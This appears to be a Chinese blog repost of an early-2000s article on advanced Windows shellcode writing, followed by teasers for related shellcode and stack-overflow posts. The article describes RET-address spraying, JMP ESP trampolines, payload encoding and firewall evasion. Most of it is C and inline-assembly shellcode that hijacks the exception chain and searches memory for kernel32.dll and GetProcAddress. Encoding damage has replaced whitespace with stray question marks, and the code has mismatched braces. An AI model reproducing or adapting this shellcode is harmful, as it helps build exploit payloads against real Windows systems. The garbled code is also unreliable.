WINDOWS的SHELLCODE编写高级技巧

AI权益加码!Claude Code、Cursor等20+工具免费用! 购周边限时加赠Coding Plan Lite,畅享主流AI工具!学习进阶更高效! 阅读详情

WINDOWS的SHELLCODE编写高级技巧

?

作者:yuange (mailto:yuange@nsfocus.com)

主页:http://www.nsfocus.com/

?

????unix等系统因为有用户概念,所以往往溢出是使用先得到普通帐号,然后登陆后用溢出

再加载一个SHELL的办法得到ROOT权限,其系统调用又方便,所以SHELLCODE编写一般都比

较简单。但WINDOWS系统往往不提供登陆服务,所以溢出攻击的SHELLCODE往往要提供SOCKET

连接,要加载程序得到SHELL等,而WINDOWS的系统调用int2e接口又不如unix系统调用int80

规范,所以一般都使用API,而API函数地址又因为系统版本的不同而不一样,所以要编写

WINDOWS下面比较实用、通用点的SHELLCODE比较麻烦。

?

????经过一段时间的思考,得到了WINDOWS下编写SHELLCODE的比教好的办法。

????1、溢出点确定。使用溢出点附近覆盖一片一个RET指令地址的办法,这样只要知道溢出

????点大致范围就可以了。

????2、SHELLCODE定位。使用ESP寄存器定位,只要前面那覆盖的RET地址后面放一个JMP

????ESP功能的指令地址就可以定位了。

????3、RET指令地址、JMP ESP功能指令地址采用代码页里面的地址,54 ?C3,或者FF E4

????、C3这个一个语言的WINDOWS地址固定,也很好找这个地址。

?

????4、SHELLCODE直接使用C语言编写,方便编写、修改、调试。

?

????5、SHELLCODE统一编码,满足应用条件对SHELLCODE字符的限制,用一段小汇编代码解

????码,这样编写SHELLCODE就可以不用考虑特殊字符了。

????6、通信加密,对付防火墙,实现FTP功能,实现内存直接接管WEB服务等的高级应用。

?

????下面主要介绍介绍编写通用SHELLCODE的办法。主要SHELLCODE里面使用的API自己用

GetProcAddress定位,要使用库用LoadLibraryA加载。那这样SHELLCODE就只依靠这两个

API了。那这两个API的地址又怎么解决呢,LoadLibraryA这个API在系统库KERNEL32.DLL里

面,也可以使用GetProcAddress得到。那关键就是要找到系统库kernel32.dll和

GetProcAddress的地址了。因为一般应用程序都会加载kernel32.dll,所以解决办法就是在

内存里面找到这个系统库和API地址,所幸知道了WINDOWS的模块数据结构也就不难了,主要

是增加异常结构处理 。下面是VC6.0程序代码:

?

void shellcodefn()

{

???int ????????*except[3];

???FARPROC ????procgetadd=0;

???char ???????*stradd;

???int ????????imgbase,fnbase,i,k,l;

???HANDLE ?????libhandle;

???_asm {

?????jmp ?????????nextcall

?????getstradd: ??pop ???stradd

??????????????????lea ???EDI,except

????????????mov ???eax,dword ptr FS:[0]

????????????mov ???dword ptr [edi+0x08],eax

????????????mov ???dword ptr FS:[0],EDI

????}

????except[0]=0xffffffff;

????except[1]=stradd-0x07;

/* 保存异常结构链和修改异常结构链,SHELLCODE接管异常 */

?

????imgbase=0x77e00000;

/* 搜索KERNEL32.DLL 的起始其实地址 */

?

?????????call getexceptretadd

???}

/* 得到异常后的返回地址 */

???for(;imgbase<0xbffa0000,procgetadd==0;){

???????imgbase+=0x10000;

/* ?模块地址是64K为单位,加快速度*/

???????if(imgbase==0x78000000) imgbase=0xbff00000;

/* ?如果到这还没有搜索到,那可能是WIN9X系统 */

???????if(*( WORD *)imgbase=='ZM'&& *(WORD *)

???????(imgbase+*(int *)(imgbase+0x3c))=='EP'){

/* 模块结构的模块头 */

?????????fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;

?????????k=*(int *)(fnbase+0xc)+imgbase;

?????????if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){

/* 模块名 */

?????????????libhandle=imgbase;

/* 得到模块头地址,就是模块句柄 */

?????????????k=imgbase+*(int *)(fnbase+0x20);

?????????????for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){

???????????????????if(*(int *)(imgbase+*(int *)k)=='PteG'&&*(int *)(4+imgbase+*(int *)k)=='Acor'){

/* 引出名 */

???????????????????k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));

???????????????????k+=*(int *)(fnbase+0x10)-1;

???????????????????k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));

???????????????????procgetadd=k+imgbase;

/* API地址 */

???????????????????break;

?????????????}

??????????}

????????}

????}

}

// 搜索KERNEL32。DLL模块地址和API函数 GetProcAddress地址

// 注意这儿处理了搜索页面不在情况。

?

???_asm{

???????lea edi,except

??????????mov eax,dword ptr [edi+0x08]

???????mov dword ptr fs:[0],eax

???}

/* 恢复异常结构链 */

?

?

if(procgetadd==0) goto ?die ;

/* 如果没找到GetProcAddress地址死循环 */

??die: goto die ?;

?

??_asm{

?

getexceptretadd: ??pop ?eax

?????????????push eax

?????????????mov ?edi,dword ptr [stradd]

?????????????mov dword ptr [edi-0x0e],eax

?????????????ret

/* 得到异常后的返回地址,并填写到异常处理模块 */

?

/* 异常处理模块 */

errprogram: ????????mov eax,dword ptr [esp+0x0c]

?????????????add eax,0xb8

?????????????mov dword ptr [eax],0x11223344 //stradd-0xe

/* 修改异常返回EIP指针 */

?????????????xor eax,eax ?????????????//2

/* 不提示异常 */

?????????????ret ?????????????????//1

/* 异常处理返回 */

execptprogram: ????jmp errprogram ?????????????//2 bytes stradd-7

nextcall: ?????????call getstradd ?????????????//5 bytes

???}

}

Shellcode手工编写与自动化工具对比:从汇编原理到实战应用 Shellcode作为一段不依赖外部库、可直接在内存中执行的机器码,是安全研究、渗透测试和漏洞利用中的核心概念。其原理在于通过精心构造的指令序列,直接调用操作系统内核功能,实现进程控制、权限提升等目标。这种技术价值在于能够绕过传统安全防护机制,在受限环境中执行任意代码。在应用场景上,Shellcode广泛用于渗透测试、红蓝对抗、漏洞利用开发和恶意软件分析。无论是追求极致精简和可控性的手工编写,还是注重功能集成和工程化的自动化工具生成,都需要深入理解系统调用、内存布局和指令集架构。本文聚焦于Shellcode 阅读详情

相关推荐

使用OffensiveNim实现Shellcode注入:从原理到高级规避技术

Shellcode注入是一种将可执行代码加载到目标进程内存并执行的核心技术,其原理在于通过操作系统的进程与内存管理API,在远程进程中分配内存、写入代码并创建执行线程。这项技术的价值在于它是实现权限维持、横向移动和绕过安全防护的基础手段,广泛应用于渗透测试、红队演练和恶意软件分析等场景。随着终端检测与响应(EDR)系统的普及,传统的注入方法如CreateRemoteThread面临严峻挑战,这促使了更高级的规避技术发展。本文聚焦于使用Nim语言及其OffensiveNim生态,深入探讨如何实现包括APC注入

weixin_30369041的博客 447

Hook ZwQueryInformationProcess 函数使得异常处理可以在shellcode上执行

32位系统上当你的shellcode有使用 __try __except 进行处理时,系统最终会调用RtlIsValidHandler来判断异常处理函数是否有效,如果你希望处理异常 应该是HookRtlIsValidHandler,可是微软没有导出这个接口 于是我们逆向看看RtlIsValidHandler 发现它会判断ZwQueryInformationProcess的返回值,...

lif12345的专栏 1904

shellcodeWindows shellcode的理解与编写

虚拟内存空间 整个虚拟内存空间分为两个相关部分: 为用户进程预留的虚拟内存空间和为系统进程预留的虚拟内存空间。 每个进程都有自己的私有虚拟地址空间,其中“内核空间”是一种“共享环境”,意味着每个内核进程可以在任何它想要的地方读写虚拟内存。 其中: HEAP(堆) : 这是存储所有动态局部变量的地方。(通常alloc()或类似的系统调用) STACK(栈): 分配每个静态局部变量的位置。 RWX-Hunter执行: 搜索已被标记为读(R),写(W)和执行(X)的内存部分。 遍历进程的虚拟空间内存,搜索标记

dr0op's blog 1369

windowsshellcode编写入门

本文简要介绍shellcode开发技术及其特点。理解这些概念可以有助于我们编写自己的shellcode。更进一步讲,你可以修改现有的漏洞利用代码来执行自己所需要的定制功能。

x_nirvana的博客 1万+

Windows Shellcode开发[1]

0 前言 本文包含对shellcode开发技术及其特点的概述,了解了这些概念我们就可以编写自己的shellcode,而且我们还可以修改现有漏洞的shellcode来执行我们自定义的功能。 1 Shellcode介绍 维基百科中对shellcoed的介绍: “在计算机安全中,shellcode 是一小段代码,用作利用软件漏洞的有效载荷。之所以称为“shellcode”,是因为它通常启动一个命令shell,攻击者可以从中控制受感染的机器,但任何执行类似任务的代码都可以称为 shellcode……She

weixin_41487541的博客 673

windowsshellcode编写高级技巧

windowsshellcode编写高级技巧-(2013/11/20) win2k缓冲区溢出入门-(2013/11/20) windows密码泄露漏洞分析-(2013/11/20) 理解win2k和nt4系统及进程活动-(2013/11/20) 理解wind2k和nt4系统及进程活动-(2013/11/20) win2000登陆漏洞初步解决方法-(2013/11/20) win9x系

q1q2q3q4ln的专栏-随我一起研究程序 843

堆栈溢出从入门到提高

转自:http://www.jiaonan.net/html/2007/06/20070624034620915.htm 入门篇 2007-6-24 15:46:20 本讲的预备知识: 首先你应该了解intel汇编语言,熟悉寄存器的组成和功能。你必须有堆栈和存储分配方面 的基础知识,有关这方面的计算机书籍非常多,我将仅仅是简单阐述原理,着重在应用。其次...

weixin_30371469的博客 124

堆栈溢出从入门到提高 (转载)

堆栈溢出从入门到提高 -------------------------------------------------------------------------------- 整理:阿新     有一些是在以前的文章里照搬的,希望作者不要介意 :P堆栈溢出系列讲座 入门篇 本讲的预备知识: 首先你应该了解intel汇编语言,熟悉寄存器的组成和功能。你必须有堆栈和存储分配

x_zj的专栏 1705

打造Windows下自己的ShellCode

打造Windows下自己的ShellCode 文/图 王炜/ww0830    为了帮助初学者了解ShellCode编写,并能一步一步操作得到自己的ShellCode,因此将WindowsShellCode编写过程作详细的介绍,以利于像我一样的菜鸟,最终能够写出简单的但却是真实的ShellCode;而进一步高级ShellCode编写,也会在系列后面的文章中一步一步的演示的,希望大家会

P-Blog 3169

windowsshellcode高级编程

windowsshellcode高级编程黑森林 发表于 2005-10-29 22:26:00 网上关于Shellcode的文章不少,但对于windows环境下的讨论不是很多,经典的就更少了,这一篇应该不错,推荐给大家!(站长:黑森林整理)                    unix等系统因为有用户概念,所以往往溢出是使用先得到普通帐号,然后登陆后用溢出再加载一个SHELL的办法得到ROOT

Civet148的专栏 2310

开源一个ShellCode生成框架

文章目录前言项目预览项目配置文件命名与作用ShellCode大小的计算方法第一部分 ShellCode生成第二部分 ShellCode部分ShellCode加载器如何提取ShellCode如何扩展ShellCode框架?参考资料项目下载 前言 现阶段,shellcode编写门槛高,大多需要有较深的汇编功底,而Metersploit上的Shellcode开源生成框架,功能单一,扩展性差,大多只能在d...

鬼手的博客 3271

Windows Shellcode学习笔记——通过VisualStudio生成shellcode

本文讲的是Windows Shellcode学习笔记——通过VisualStudio生成shellcode, 0x00 前言 shellcode是一段机器码,常用作漏洞利用中的载荷(也就是payload)。 在渗透测试中,最简单高效的方式是通过metasploit生成shellcode,然而在某些环境下,需要定制开发自己的shellcode,所以需要对...

weixin_33753003的博客 1896

搞木马免杀你必须要知道: 如何编写X86环境下的ShellCode!

想要学免杀,就一定要懂得如何处理shellcode, 现在很多的木马免杀操作都是用工具来处理的, 但这仅仅能绕过一小部分杀软, 一旦杀软更新病毒库, 脚本小子们就无招可施, 本篇文章将带领大家了解shellcode的原理及制作, 会后续的Shellcode免杀打下坚实基础

xf555er的博客 2554
上一篇: 关于Windows下ShellCode编写的一点思考
下一篇: window系统下的远程堆栈溢出 --《原理篇》
bmsdr
博客等级 码龄22年 10粉丝 65原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值